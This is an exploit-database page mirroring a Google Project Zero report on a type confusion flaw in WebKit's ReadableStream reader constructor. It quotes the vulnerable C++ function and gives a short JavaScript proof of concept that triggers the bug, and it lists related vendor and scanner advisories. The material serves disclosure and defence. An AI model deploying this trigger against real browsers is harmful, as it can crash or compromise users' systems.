Apple WebKit 10.0.2(12602.3.12.0.1, r210800) - constructJSReadableStreamDefaultReader Type Confusion

🗓️ 05 Apr 2017 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 32 Views

Apple WebKit 10.0.2 - Type Confusion vulnerability in constructJSReadableStreamDefaultReade

Reporter	Title	Published	Views	Family All 31
Tenable Nessus	Mac OS X 10.x < 10.12.4 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities	8 Jun 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1 Multiple Vulnerabilities	3 Apr 201700:00	–	nessus
Tenable Nessus	Ubuntu 16.04 LTS : WebKitGTK+ vulnerabilities (USN-3257-1)	11 Apr 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2457	24 Aug 202500:00	–	nessus
Apple	About the security content of iOS 10.3	27 Mar 201700:00	–	apple
Apple	About the security content of Safari 10.1	27 Mar 201700:00	–	apple
Apple	About the security content of Safari 10.1 - Apple Support	29 Aug 201702:51	–	apple

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1085
 
EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
{
    VM& vm = exec.vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
 
    JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
    if (!stream)
        return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");
 
    JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1
 
    CallData callData;
    CallType callType = getCallData(jsFunction, callData);
    MarkedArgumentBuffer noArguments;
    return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
}
 
It doesn't check whether |getReader| is callable or not.
 
PoC:
-->
 
let rs = new ReadableStream();
let cons = rs.getReader().constructor;
 
rs.getReader = 0x12345;
new cons(rs);
 
<!--
Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800)
-->

#  0day.today [2018-04-13]  #

05 Apr 2017 00:00Current

8.7High risk

Vulners AI Score8.7

EPSS0.02526